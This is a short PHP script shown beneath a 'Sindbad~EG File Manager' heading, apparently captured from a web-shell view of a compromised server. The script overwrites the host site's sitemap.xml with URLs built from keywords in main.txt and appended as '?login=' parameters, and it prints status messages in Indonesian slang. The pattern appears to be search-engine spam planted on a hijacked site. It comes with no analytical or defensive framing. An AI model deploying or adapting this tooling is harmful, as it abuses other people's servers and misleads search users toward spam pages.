Sindbad~EG File Manager

<?php
function getFileRowCount($filename)
{
    $file = fopen($filename, "r");
    $rowCount = 0;

    while (!feof($file)) {
        fgets($file);
        $rowCount++;
    }

    fclose($file);

    return $rowCount;
}
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
$fullUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
if (isset($fullUrl)) {
    $parsedUrl = parse_url($fullUrl);
    $scheme = isset($parsedUrl['scheme']) ? $parsedUrl['scheme'] : '';
    $host = isset($parsedUrl['host']) ? $parsedUrl['host'] : '';
    $path = isset($parsedUrl['path']) ? $parsedUrl['path'] : '';
    $baseUrl = $scheme . "://" . $host . $path;
    $urlAsli = str_replace("sg.php", "", $baseUrl);
    $judulFile = "main.txt";
    $jumlahBaris = getFileRowCount($judulFile);
    $sitemapFile = fopen("sitemap.xml", "w");
    fwrite($sitemapFile, '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL);
    fwrite($sitemapFile, '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL);
    $fileLines = file($judulFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    foreach ($fileLines as $index => $judul) {
        $sitemapLink = $urlAsli . '?login=' . urlencode($judul);
        fwrite($sitemapFile, '  <url>' . PHP_EOL);
        fwrite($sitemapFile, '    <loc>' . $sitemapLink . '</loc>' . PHP_EOL);
  fwrite($sitemapFile, '    <priority>' . 0.9 . '</priority>' . PHP_EOL);
        fwrite($sitemapFile, '  </url>' . PHP_EOL);
    }
    fwrite($sitemapFile, '</urlset>' . PHP_EOL);
    fclose($sitemapFile);
    echo "Done ga bang ? Done";
} else {
    echo "Ga Done Bang, Ada yang salah";
}

?>